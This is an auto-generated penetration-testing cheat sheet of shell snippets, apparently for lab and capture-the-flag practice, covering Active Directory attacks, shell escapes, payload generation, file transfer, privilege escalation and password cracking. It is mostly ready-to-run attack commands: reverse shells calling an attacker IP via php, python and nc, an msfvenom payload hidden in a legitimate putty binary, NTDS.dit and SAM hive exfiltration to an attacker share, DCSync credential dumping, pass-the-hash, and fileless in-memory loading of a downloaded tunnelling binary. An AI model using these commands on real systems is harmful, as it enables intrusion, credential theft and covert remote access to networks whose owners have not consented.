Master Cheatsheet

15 articles 92 snippets Auto-generated from tagged code blocks

Active Directory Enumeration

View article
active directory anonymous enumeration shell
# anonymous login - pull all users
$ nxc ldap dc01.target.local --dns-server 10.129.10.10 -d target.local -u '' -p '' --users
# anonymous login - pull all groups
$ nxc ldap dc01.target.local --dns-server 10.129.10.10 -d target.local -u '' -p '' --groups
active directory asrep roasting shell
$ nxc ldap forest.htb.local --dns-server 10.129.95.210 -d HTB.LOCAL -u '' -p '' --asreproast ASREPROAST.txt  
$ hashcat -m18200 ASREPROAST.txt /usr/share/wordlists/rockyou.txt 
active directory kerberoasting without preauth shell
$ impacket-GetUserSPNs -no-preauth "usernameWOpreauth" -usersfile "targets.txt" -dc-ip 10.129.10.10 TARGET.local
bloodhound enumeration shell
# use bloodyAD to collect basic information from AD
$ bloodyAD -u user.name -p 'p4ssw0rd!' -d target.pwn --host 10.129.10.10 get bloodhound
# or use netexec to collect info from AD (supports Group, LocalAdmin, Session, Trusts, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL)
$ nxc ldap forest.htb.local --dns-server 10.129.95.210 -d HTB.LOCAL -u 'svc-alfresco' -p 's3rvice' --bloodhound -c all

# start bloodhound gui to ingest exported .zip from above
$ bloodhound-start
active directory kerberoasting shell
# using pypykatz (mimikatz-python) to try and get a legacy type 18 RC4 hash, which is the fastest to crack (can fail on hardened systems)
pypykatz kerberos spnroast -d $DOMAIN -t $TARGET_USER -e 23 "kerberos+password://$DOMAIN/$USER:$PASSWORD@$DC_IP"

# using nxc
$ nxc ldap 10.129.10.10 -u 'user.name' -p 'p4ssw0rd!' --kerberoasting kerb.txt

# using impacket
$ impacket-GetUserSPNs --outputfile kerberoast.txt -dc-ip 10.129.10.10 "TARGET/user:password"
active directory dacl abuse shell
# view all active directory objects that our current credentials have write access to
$ bloodyAD -u user.name -p 'p4ssw0rd!' -d target.pwn --host 10.129.10.10 get writable

Active Directory Exploitation

View article
kerbrute username harvesting shell
$ kerbrute userenum --dc 10.129.201.57 --domain victim.local names.txt
ntds harvesting from shadow copy powershell
# on target, create shadow copy
> vssadmin CREATE SHADOW /For=C:
# copy ntds 
> cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
# exfill ntds
> cmd.exe /c move C:\NTDS\NTDS.dit \\10.10.15.30\CompData

# on attack box, extract secrets
$ impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
ntds harvesting with netexec shell
$ netexec smb 10.10.10.100 -u username -p P@55w0rd! -M ntdsutil
password cracking asreproast shell
$ hashcat -m18200 ASREPROAST.txt /usr/share/wordlists/rockyou.txt 
password cracking kerberoast shell
# crack kerberos 5 etype 18 (AES-256), TGS-REP. slowest
$ hashcat -m19700 kerberoast.txt /usr/share/wordlists/rockyou.txt 

# crack kerberos 5 etype 17 (AES-128), TGS-REP. slow
$ hashcat -m19600 kerberoast.txt /usr/share/wordlists/rockyou.txt 

# crack kerberos 5 etype 23 (legacy RC4-HMAC), TGS-REP. fastest
$ hashcat -m13100 kerberoast.txt /usr/share/wordlists/rockyou.txt 
pass the hash on windows powershell
# PtH with mimikatz
mimikatz.exe privilege::debug "sekurlsa::pth /user:username /rc4:64F12CDDAA8...1B54E73B949B /domain:target.xyz /run:cmd.exe" exit

# PtH with Invoke-SMBExec
# https://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username username -Hash 64F12CDDAA8...1B54E73B949B -Command "powershell -e JABjA...ApAA==" -Verbose
pass the ticket on windows powershell
# export tickets to .kirbi from mimikatz
> mimikatz.exe privilege::debug "sekurlsa::tickets /export" exit
# pass the ticket 
> mimikatz.exe privilege::debug "kerberos::ptt \"C:\Users\Administrator.WIN01\Desktop\[0;1812a][email protected]\"" exit; powershell

# alternatively, export tickets from rubeus
> Rubeus.exe dump /nowrap
# spawn sacrificial process with rubeus
> Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
# in newly spawned cmd, ptt with rubeus
> Rubeus.exe asktgt /user:john /domain:target.xyz /aes256:9279bcbd40db957a0ed0d3856b2e...763ce2713f11dc /ptt
overpass the hash on windows powershell
# print out kerberos keys
> mimikatz.exe privilege::debug "sekurlsa::ekeys" exit
# using one of the keys provided above, pass the key to spawn cmd.exe as user
> mimikatz.exe privilege::debug "sekurlsa::pth /domain:target.xyz /user:plaintext /ntlm:3f74aa8f08...9cd5177b5c1ce50f" exit
# alternatively, use rubeus to get tgt
> Rubeus.exe asktgt /domain:target.xyz /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbe...d911c6e15ead25641a8fda3fe60 /nowrap
impersonating user via keytab on domain joined linux shell
# view information about a found keytab file
$ klist -k -t /opt/specialfiles/carlos.keytab 
# impersonating a user
$ kinit [email protected] -k -t /opt/specialfiles/carlos.keytab
# using kerberos to auth as the impersonated user
$ smbclient //dc01/carlos -k -c ls
extracting keytab hashes on domain joined linux shell
# extract hashes from keytab
$ python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab 
dacl abuse add member shell
$ bloodyAD -u 'svc-account' -p 'password' -d target.local --host 10.129.10.10 add groupMember "Exchange Windows Permissions" 'svc-account' 
dacl abuse dcsync shell
# grant DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights to dump credentials from domain controller
$ bloodyAD --u 'svc-account' -p 'password' -d target.local --host 10.129.10.10 add dcsync 'svc-account' 
# dump NTDS hashes from domain controller
$ impacket-secretsdump -outputfile dcsync.txt -dc-ip 10.129.10.10 target/svc-account:[email protected]
# pass the hash to login via WinRM
$ evil-winrm -i 10.129.10.10 -u Administrator -H "32693b11e6aa90eb43d32c72a07ceea6"
ad proxychains to dc step1 shell
# on attackbox, configure hosts to set IPs for DC and victim server
$ sudo nano /etc/hosts
# configure proxychains config file to use socks5 and port 1080
$ sudo nano /etc/proxychains.conf
...
[ProxyList]
socks5 127.0.0.1 1080
...
# start chisel server
$ sudo ./chisel server --reverse
ad proxychains to dc step2 powershell
# transfer chisel onto the victim via any method, then connect back to attackbox
> chisel.exe client 10.10.10.10:8080 R:socks
ad proxychains to dc step3 shell
# back on attackbox, set the ccache file to env var
$ export KRB5CCNAME=/home/kali/krb5cc_647401106_I8I133
# now use proxy chains + impacket to reach the DC
$ proxychains impacket-wmiexec dc01 -k

# alternatively, can use evil-winrm, but it requires additional prereqs
# install krb5-user, if not already installed
$ sudo apt-get krb5-user
# edit these sections of the krb5 config file and set default realm and mark the location of the KDC
$ sudo nano /etc/krb5.conf
[libdefaults]
        default_realm = TARGET.XYZ

...

[realms]
    TARGET.XYZ = {
        kdc = dc01.target.xyz
    }

...
# now use evil-winrm
$ proxychains evil-winrm -i dc01 -r target.xyz

Escaping Restricted Shell

View article
escape rbash bash
# if ssh creds are available, you can try to bypass on login
ssh [email protected] -t "/bin/bash --noprofile"

# reveal what binaries we have access to
compgen -b

# might also find binaries under
ls ~/bin

# view environment variables
export -p

# these next commands can only be ran if it's available from compgen or ~/bin,
# otherwise you will get a restricted error

# if vi available:
vi
:set shell=/bin/bash
:shell

# if ed available:
ed
!'/bin/bash'

# if awk available:
awk 'BEGIN {system("/bin/bash")}'

# if expect is available
expect
spwan sh

# if less, more or man is available (try with any of those 3)
less file.txt
!'bash'

# if perl available:
perl -e 'system("/bin/bash");'

# if python available
python3 -c 'import os; os.system("/bin/bash");'

# if sh available
sh

# these are reverse shells, ensure a listener is started on attacker machine
# if php available:
php -r '$sock=fsockopen("10.10.10.10",4444);shell_exec("/bin/bash <&3 >&3 2>&3");'

# if python/python3 available:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.10.10",4440));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

# if nc available
nc 10.10.10.10 4444 -e /bin/bash

Exploitation

View article
msfvenom shell
# list available payloads
msfvenom -l payloads

# linux stageless reverse shell x64
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f elf > shell.elf

# linux staged reverse shell x64
msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f elf > shell.elf

# linux stageless bash shell x64
msfvenom -p linux/x64/shell_bind_tcp RHOST=10.1.1.1 LPORT=4444 -f elf > shell.elf

# windows stageless reverse shell x64
msfvenom -p windows/shell_reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f exe > shell.exe

# windows stageless reverse shell x64 - sideloaded in legit binary 
msfvenom -p windows/shell_reverse_tcp -x putty.exe -k LHOST=10.1.1.1 LPORT=4444 -f exe > evil_putty.exe

# windows stageless reverse shell x64 - encrypted, and sideloaded in legit binary 
msfvenom -p windows/shell_reverse_tcp --encrypt aes256 --encrypt-key S00perSecr3t! -x putty.exe -k LHOST=10.1.1.1 LPORT=4444 -f exe > evil_putty.exe

# windows staged reverse shell x64
msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f exe > shell.exe

# windows stageless bash shell x64
msfvenom -p windows/x64/shell_bind_tcp RHOST=10.1.1.1 LPORT=4444 -f exe > shell.exe

# windows staged reverse meterpreter x64 
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f exe > shell.exe

# php stageless reverse meterpreter
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f raw > shell.php

# java war stageless reverse meterpreter
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f war > shell.war
webshells shell
# see webshells
$ ls /usr/share/laudanum
# copy template for shell for modifications
$ cp /usr/share/laudanum/aspx/shell.aspx ~/pwn.aspx
# Antak is a powerful PowerShell based aspx shell
cp /usr/share/nishang/Antak-WebShell/antak.aspx /home/administrator/Upload.aspx
default creds shell
$ pip3 install defaultcreds-cheat-sheet
$ creds search mysql                                           
+---------------------+-------------------+----------+
| Product             |      username     | password |
+---------------------+-------------------+----------+
| mysql (ssh)         |        root       |   root   |
| mysql               | [email protected] |  admin   |
| mysql               |        root       | <blank>  |
| mysql               |      superdba     |  admin   |
| scrutinizer (mysql) |    scrutremote    |  admin   |
+---------------------+-------------------+----------+

File Transfer

View article
php download shell
## download - file_get_contents
php -r '$file = file_get_contents("https://url/file.txt"); file_put_contents("file.txt",$file);'

## download - fopen
php -r 'const BUFFER = 1024; $fremote = 
fopen("https://url/file.txt", "rb"); $flocal = fopen("file.txt", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
python download and upload shell
## download
python2.7 -c 'import urllib;urllib.urlretrieve ("https://url/file.txt", "file.txt")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://url/file", "file.txt")'

## upload
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
python web server download and upload sh
# setup a download-only web server on current directory
# use wget or a browser from another machine to connect and retrieve files
python3 -m http.server <port>

# setup an upload-only web server in new directory
# pip3 install uploadserver
mkdir https && cd https
python3 -m uploadserver

# can also use this with SSL Cert
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
ncat file transfer shell
# set up listener on device receiving file
ncat -l -p 1234 --recv-only > filename.txt

# send file from target machine to receiver
ncat 10.1.1.2 1234 --send-only < filename.txt
netcat file transfer shell
# set up listener on device receiving file
nc -lvnp 1234 > filename.txt

# send file from target machine to receiver
nc 10.1.1.2 1234 < filename.txt
rdp file transfer shell
# using xfreerdp, can mount a dir from our attack machine to the target server
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
linux encrypted file transfer sh
## encrypt
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc

## decrypt
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd 
windows encrypted file transfer powershell
# requires module
# https://www.powershellgallery.com/packages/DRTools/4.0.2.3/Content/Functions%5CInvoke-AESEncryption.ps1

## activate module
Import-Module .\Invoke-AESEncryption.ps1

## encrypt
Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt

## decrypt
Invoke-AESEncryption -Mode Decrypt -Key "p4ssw0rd" -Path .\scan-results.txt
lolbins file transfer powershell
# upload using certreq.exe
certreq.exe -Post -config http://url.co/ c:\windows\win.ini

# download with bitsadmin
bitsadmin /transfer wcb /priority foreground http://url.co/nc.exe C:\nc.exe

# download with bitstransfer
Import-Module bitstransfer; Start-BitsTransfer -Source "http://url.co/nc.exe" -Destination "C:\Windows\Temp\nc.exe"

# download with certutil
certutil.exe -verifyctl -split -f http://url.co/nc.exe

Host Enumeration (PrivEsc)

View article
linux host info shell
# environment variables
env

# list installed packages (search for any vulnerable ones)
dpkg -l # debian
rpm -qa # centos / rhel

# listening ports
ss -tulnp

# processes
ps aux

# view commands that this account has access to
# anything with NOPASSWD could be an avenue for privilege escalation
sudo -l

# see sudo version to see if any vulns exist
sudo -V

# if user has write perms to any folder in path, a binary can be substituted to potentially privesc
echo $PATH

# scheduled tasks
crontab -l

# event triggered tasks
incrontab -l

# system-owned event triggered tasks
ls -la /etc/incron.d
cat /etc/incron.d/*

# search for sql files ( redirection to /dev/null HIGHLY recommended)
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
# search for files writable by current user
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
# search for private keys
grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null

# find user/pwd in cnf files
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done

# verify shell
# common to see /bin/bash, /bin/zsh, /bin/sh/ or /bin/rbash
# for rbash, see Post Exploitation > Escaping Restricted Shell
echo $SHELL

# interesting locations and files
/opt
/.ssh
/etc/profile
/etc/passwd
/etc/shadow
~/.bash_profile
~/.bash_login
~/.login
~/.bashrc

# operating system info
cat /etc/os-release
cat /proc/version # searchsploit for version to find kernel exploits
uname -a
linux host defenses bash
# check if app armor exists
which aa-status
which apparmor_status
ls -d /etc/apparmor*

# check if ASLR on
cat /proc/sys/kernel/randomize_va_space

# check if execshield exists
cat /etc/sysctl.conf | grep "exec-shield"

# check if grsecurity exists
uname -r | grep "\-grsec"
cat /etc/sysctl.conf | grep "grsecurity"

# check if PaX exists
which paxctl-ng paxctl

# check if SELinux active
sestatus
windows host enumeration powershell
# view listening ports with service PID
netstat -ano

# search running tasks for specific PID
tasklist | findstr <pid>

# find password in files
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml

# use LaZagne to find passwords from the most commonly stored locations
# https://github.com/AlessandroZ/LaZagne
start LaZagne.exe all

# view netwrok configuration
ipconfig /all

# scheduled tasks
schtasks

# stored passwords
cmdkey /list
# use any found stored passwords that are interactive
runas /savecred /user:victim\username cmd

Metasploit Basics

View article
metasploit basics shell
# launch the metasploit framework console
$ msfconsole
# display all modules in tool
msf > show
# ex. show all auxiliary options (over 1300)
msf > show auxiliary
# search for specific modules
msf > search windows ssh
# use a specific module returned from search / show
msf > use 24
# view settings required to configure for the specific module
msf > show options
# configure options listed
msf > set RHOSTS 10.120.10.10
# show advanced options that can be configured
msf > advanced
# run
msf > run
metasploit workspaces shell
# configure postgres database for storing results
$ sudo msfdb init
# launch msfconsole with database
$ sudo msfdb run
# confirm db access
msf > db_status

# create new workspace to store results
msf > workspace -a target_name
# switch to new workspace
msf > workspace target_name
# import existing scan data into workspace
msf > db_import init_nmap.xml
# view tracked hosts in current workspace
msf > hosts
# view tracked services in current workspace
msf > services
# view tracked credentials
msf > creds
# Add a user, password and realm
msf > creds add user:admin password:notpassword realm:workgroup
# View loot (register of pwned users/services)
msf > loot
# nmap directly into database
msf > db_nmap -sV -sS 10.10.10.8

Network Scanning

View article
nmap quick commands bash
# simple full TCP port scan with version detection
nmap -sSV -p- -oA <output_file> <target>

# nmap with scripts, version detection and all ports saved to file
nmap -sC -sV -p- -oA <output_file> <target> 

# aggressive scan that performs service detection, OS detection, traceroute
# and default scripts. better to use against specific ports
nmap -A -p<port> <target>

# nmap scan IP range and print just online IPs (ICMP / ARP scan)
sudo nmap 10.129.2.0/24 -sn -oA tnet | grep for | cut -d" " -f5

# ICMP echo only, with packet trace (TTL can assist in identifying OS)
nmap 10.129.2.18 -sn -oA host -PE --packet-trace --disable-arp-ping 

# TCP, UDP, with version detection (CAN BE VERY SLOW, NARROWING DOWN PORTS PREFERRED)
nmap -sSUV -p<ports> <target> 

# search for specific scripts
nmap --script-help <keyword|category>

# alternate method of searching for scripts
find / -type f -name ftp* 2>/dev/null | grep scripts

# run a certain category of scripts, like vuln
nmap <target> --script vuln

# run multiple specific scripts
nmap <target> --script banner,smtp-commands

# run specific scripts in a category
nmap <target> --script "discovery and http-*"

# evasive, low and slow
nmap -sS -T0 -f --data-length 64 --scan-delay 10s <target>

# evasive, spoofed source port and IPs
nmap -sS -T0 -D 10.1.1.1 10.1.1.2 10.1.1.3 -g 53 <target>

OSINT

View article
domain / subdomain osint enumeration bash
# search registration of domain / IP
whois <domain>

# find subdomains via certificate transparency logs
# replace domain.com
curl -s "https://crt.sh/json?q=domain.com" | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u >> subdomainlist.txt

# save above list to subdomainlist and then pull IPs
for i in $(cat subdomainlist.txt);do host $i | grep "has address" | grep domain.com | cut -d" " -f4 | sort -u >> ip_addresses.txt;done

# cross-reference IPs against shodan
for i in $(cat ip-addresses.txt);do shodan host $i;done

# subdomain brute forcing internal-only via dnsenum tool
# add -r to recurse on a subdomain to see if it has subdomains
# --dnsserver can be used to bind to an internal server
dnsenum --dnsserver 10.1.1.10 --enum -p 0 -s 0 -o subdomains.txt -f <wordlist> domain.com

# subdomain brute forcing via bash for loop
for sub in $(cat <wordlist>);do dig $sub.domain.com @10.1.1.10 | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done
google dorking for osint console
# find sites with directory browsing enabled 
intext:"index of /"

# find web.config files
filetype:config inurl:web.config

# find publically accessible confidential documents on a specific site 
ext:(doc | pdf | xls | txt | ps | rtf | odt | sxw | psw | ppt | pps | xml) (intext:confidential | intext:”account number”) site:target.xyz

# find emails for a specific site
site:target.xyz @target.xyz

# operators
site:       # limit results to a certain site
inurl:      # find pages with a specific keyword in the url
filetype:   # find specific file types like pdf, docx.etc
intitle:    # find pages with a specific keyword in the title
intext:     # find pages with a specific keyword in the body
inbody:     # find pages with a specific keyword in the body
cache:      # return a cached version of the site
link:       # find pages that link to this webpage
related:    # find websites similar to a webpage
info:       # provides a summary of info about a page
define:     # define a word or phrase
numrange:   # search for numbers in a specific range
allintext:  # search for multiple keywords all on same page
allinurl:   # search for multiple keywords all in same url
AND         # require filters to be true
OR          # require either filter to be true
NOT         # exclude filter
*           # wildcard for any character or word
..          # number range ex 1..50
""          # exact string match
-           # negate ex -inurl:sports
osint automated enumeration bash
# FinalRecon - Banner Grabbing, WHOIS, SSL Cert, Crawler, DNS, Subdomain, Dir, Archive
# https://github.com/thewhiteh4t/FinalRecon.git
finalrecon --full --url <url>

# Recon-NG - metasploit-esque recon toolkit with expandable modules
# example workflow. Workspaces are meant to contanizerize each project
recon-ng # start program
workspaces create <domain> # create workspace for target
workspaces select <domain> # enter workspace for target
db insert domains <domain> # add domain to search in database
use recon/domains-hosts/bing_domain_web # load module
set SOURCE <domain> # set module option
run # run module
show tables # see result tables
select * from hosts # query result data

# theHarvester - subdomain, emails, vhosts, ports/banners, employee names
theHarvester -d <domain> -l <num_of_results> -b google

Password Attacks

View article
transfer SAM hashes from windows shell
# on victim
C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save
C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save
C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save

# on attack box
$ impacket-smbserver -smb2support CompData /home/kali/Documents

# on victim
C:\> move sam.save \\10.10.15.16\CompData
C:\> move system.save \\10.10.15.16\CompData
C:\> move security.save \\10.10.15.16\CompData

# on attack box
$ impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL
extract credentials with mimikatz powershell
# launch mimikatz
> mimikatz.exe
# check privs
mimikatz > privilege::debug
# dump creds from memory
mimikatz > sekurlsa::credman
# dump creds from credential vault
mimikatz > vault::cred
password cracking with hashcat shell
# see list of all options with hash types
$ hashcat -hh
# identify the hash type with hashcat format
$ hashid -m 193069ceb0461e1d40d216e32c79c704
# see list of all hash options, with example hashes (can be saved to script for easy use)
# can also be piped to grep to find a specific mode and example
$ hashcat --example-hashes | awk '/^Hash mode #/ { mode=$3 } /^[[:space:]]*Name\./ { name=$2 } /^[[:space:]]*Example\.Hash\./ && !/Format/ { print mode, name, $2 } ' | column -t -s ' ' -o ' | '

# dictionary attack against a netscaler hash
$ hashcat --m5700 netscaler.txt /usr/share/wordlists/rockyou.txt 
# see available rules for modification 
$ ls -l /usr/share/hashcat/rules
# dictionary attack with rule modifier
$ hashcat --m5700 netscaler.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
password cracking with john shell
# useful for linux passwd files. Uses information found in the string such as address, lastname, dob.etc
$ john --single passwd
# identify the hash type with johntheripper format
$ hashid -j 193069ceb0461e1d40d216e32c79c704
# use a mask to find a password starting with uppdercase letter, 4 lowercase, a number and a symbol
# ex: Anxul5!
$ hashcat -a 3 -m 0 1e293d6912d074c0fd15844d803400dd '?u?l?l?l?l?d?s'
password cracking documents with john shell
# locate scripts to take a password hash to decrypt
$ locate *2john*
# take an encrypted office file to get a hash
$ office2john.py Protected.docx > protected-docx.hash
# take an encrypted pdf to get a hash
$ pdf2john.py PDF.pdf > pdf.hash
# take the file's hash and crack it
$ john --wordlist=rockyou.txt protected-docx.hash
# show the cracked hash
$ john protected-docx.hash --show
password cracking bitlocker vhd and mounting shell
# take a bitlocker-encrypted disk and pull hashes
$ bitlocker2john.py Backup.vhd > backup.hashes
# pull the specific bitlocker hash for john to crack
$ grep "bitlocker\$0" backup.hashes > backup.hash
# crack hash
$ john --wordlist=rockyou.txt backup.hash
# create folder for mount
$ sudo mkdir -p /media/bitlocker
$ sudo mkdir -p /media/bitlockermount

# add VHD as loop device
$ sudo losetup -f -P Backup.vhd
# view the loop id
$ losetup
NAME       SIZELIMIT OFFSET AUTOCLEAR RO BACK-FILE                        DIO LOG-SEC
/dev/loop0         0      0         0  0 /home/kali/Downloads/Private.vhd   0     512

# decrypt
$ sudo dislocker /dev/loop0 --user-password="password" -- /media/bitlocker
$ sudo mount -o loop /media/bitlocker/dislocker-file /media/bitlockermount

# browse
$ cd /media/bitlockermount

# unmount
$ sudo umount /media/bitlockermount
$ sudo umount /media/bitlocker
password cracking with custom list and rule shell
$ cat mark_word
Mark
White
MarkWhite
August
Nexura
Sanfrancisco
Francisco
Bella
BellaWhite
Maria
MariaWhite
Alex
White
Baseball

$ cat mark_rules
:
c
C
t
so0
sa@
se3
ss$
$0$8$0$5
$1$9$9$8
$0$8$0$5$!
$1$9$9$8$!

$ hashcat -a 0 -m 0 97268a8ae45ac7d15c3cea4ce6ea550b  mark_word -r mark_rules
...
97268a8ae45ac7d15c3cea4ce6ea550b:Baseball1998!            
                                                          
Session..........: hashcat
Status...........: Cracked
...   
pass the hash on linux shell
# PtH with impacket
$ impacket-psexec [email protected] -hashes :30B3783CE2ABF1AF70F77D0660CF3453
# PtH with netexec (nxc)
$ netexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453
# PtH with evil-winrm
$ evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

Post-Exploitation

View article
simple shell to interactive tty python shell
# after the revshell nc listener has hooked, spawn pseudo shell on victim
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
# CTRL + Z to bg the reverse shell
attacker@hackbook:~$ echo $TERM               	# notate the result, i.e xterm-256color
attacker@hackbook:~$ stty -a                   	# notate the rows and columns
attacker@hackbook:~$ stty raw -echo; fg        	# enter tty raw mode (which will glitch the ui)
victim@hackbook:~$ export TERM=xterm-256color  	# use same shell as the $TERM output from #1
victim@hackbook:~$ stty rows 36 columns 161    	# use the rows and column from #2
# resume activity on victim
simple shell to interactive tty others shell
$ /bin/sh -i
$ find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
$ vim -c ':!/bin/sh'
simple shell to interactive tty perl shell
$ perl -e 'exec "/bin/sh";'
simple shell to interactive tty ruby ruby
exec "/bin/sh"
ssh reverse tunnel shell
# on compromised machine, with ssh
# ssh -N -f -R <attacker_port>:127.0.0.1:<victim_port> <attacker_user>@<attacker_ip>
ssh -N -f -R 9000:127.0.0.1:80 [email protected]
chisel reverse tunnel step 1 shell
# on attacking machine, serve the directory for our chisel.exe
kali@kali:~$ windows-binaries
kali@kali:~$ python -m http.server
chisel reverse tunnel step 2 powershell
# victim machine, retrieve the chisel.exe binary from the attacker
user@victim > powershell.exe -c "iwr -URI 'http://10.10.10.10:8000/chisel_1.11.5_amd64.exe' -OutFile '.\chisel.exe'"
chisel reverse tunnel step 3 shell
# attacker machine, spawn a chisel server to listen on port 9001
kali@kali:~$ chisel server --reverse --port 9001
chisel reverse tunnel step 4 powershell
# victim machine, spawn the client, forwarding local port 8443 to our attacker via port 9001 and make it accessible on attacker:8443
# .\chisel.exe client <attacker_ip>:<tunnel_port> R:<attacker_port>:127.0.0.1:<victim_port>
user@victim > .\chisel.exe client 10.10.10.10:9001 R:8443:127.0.0.1:8443
chiselNG fileless reverse tunnel step 1 shell
# on attacking machine, serve the directory which contains ChiselNG.exe
kali@kali:~$ python -m http.server
# on attacking machine in another tab/window, setup reverse listener
kali@kali:~$ ./chiselng_amd64 server --reverse --port 9001
chiselNG fileless reverse tunnel step 2 powershell
# victim machine, load ChiselNG into memory
user@victim > [System.Reflection.Assembly]::Load([System.Net.WebClient]::new().DownloadData('http://10.10.10.10:8000/ChiselNG.exe'))
# [ChiselNG]::Main('client <attacker_ip>:<tunnel_port> R:<attacker_port>:127.0.0.1:<victim_port>')
user@victim > [ChiselNG]::Main('client 10.10.10.10:9001 R:8443:127.0.0.1:8443')
metasploit post basic commands shell
# list current sessions
msf > sessions -l
# upgrade a non meterpreter session into a meterpreter session (use the number of the session from the list)
msf > sessions -u 1
# switch to a different session from the list
msf > sessions -i 2
metasploit post meterpreter commands shell
# transfer a file from attacker to victim
msf > upload <file>
# exfil a file from victim to attacker
msf > download <file>
# drop into a shell to interact with the target as the compromised user
msf > shell
# use CTRL+Z or bg to background a shell
# to see any backgrounded shells:
msf > channel -l
# to foreground the shell
msf > channel -i 1
metasploit post meterpreter commands shell
# run a script to try and find additional exploits that can be ran on the target
msf > search local exploit suggester
msf > use <#>
msf > set session <#>
msf > run
priv esc with localhost ssh key shell
# wherever you find the ssh key, convert it to b64 with no line breaks
kali@kali:~$ echo user.id_rsa | base64 -w 0
# On the target, pass the b64 into ssh-agent to priv esc to the new user
www-data@target:~$ eval $(ssh-agent -s)
www-data@target:~$ echo "LS0...RFIEtFWS0tLS0t" | base64 --decode | ssh-add -
www-data@target:~$ ssh user@localhost

user@target:~$

Service Enumeration

View article
ftp enumeration shell
# scan common ports
nmap -p21 -sCV -oA ftp <host>

# download all files recursively (VERY NOISY)
wget -m --no-passive ftp://anonymous:[email protected]

# anonymous login via ftp
ftp anonymous@host

# connect to ftp via netcat
nc <target> <port>

# view files
ftp> dir

# read a file on server without downloading
ftp> more file.txt
ssh enumeration shell
# enum with ssh-audit
# git clone https://github.com/jtesta/ssh-audit.git && cd ssh-audit
./ssh-audit.py <target>

# check auth methods
ssh -v <user>@<target>

# change auth method (useful for bruteforce)
ssh -v <user>@<target> -o PreferredAuthentications=password

# ssh with id_rsa file
# id_rsa needs to be at 600 perms, chmod 600 id_rsa
ssh -i <path_to_id_rsa> <user>@<target>
dns enumeration shell
# DNS records
# DNS servers may ignore ANY calls and needs specific A/AAAA/MX/NS/TXT/CNAME/SOA
dig any domain.com
# use @ to specify the IP of the local dns server
dig any domain.com @10.1.1.10

# reverse lookup
dig -x <ip>

# search for config files on linux DNS servers
ls -la /etc/bind

# nameserver query
dig ns domain.com @10.1.1.10

# version query
dig CH TXT version.bind 10.1.1.10

# zone transfer
dig axfr domain.com @10.1.1.10
# if other zones appear, they can be further quiered for further info:
dig axfr internal.domain.com @10.1.1.10


# another dns recon tool similar to dnsenum
fierce --domain <domain>

# another dns enumeration tool
dnsrecon -d <domain>
smb enumeration shell
# lists the available shares on a host and skips cred request
$ smbclient -N -L \\\\<host>
# lists shares using known credentials
$ smbclient -U user.name%p@ssw0rd! -L \\\\<host>
# connects to a specific share on a host with creds
$ smbclient -U <username> \\\\<host>\\<sharename>

# connects with guest logon (no pwd)
$ smbclient -U '' -N \\\\<host>\\<sharename>

# rpc client provides a bunch of additional commands for enumeration (see below)
$ rpcclient -U <username> <host>
# rpcclient commands to use once logged in
# more: https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html
srvinfo # server information
enumdomains # enumerate domains
querydominfo # provides domain, server, user info of deployed domains
netshareenumall # enumerate all available shares
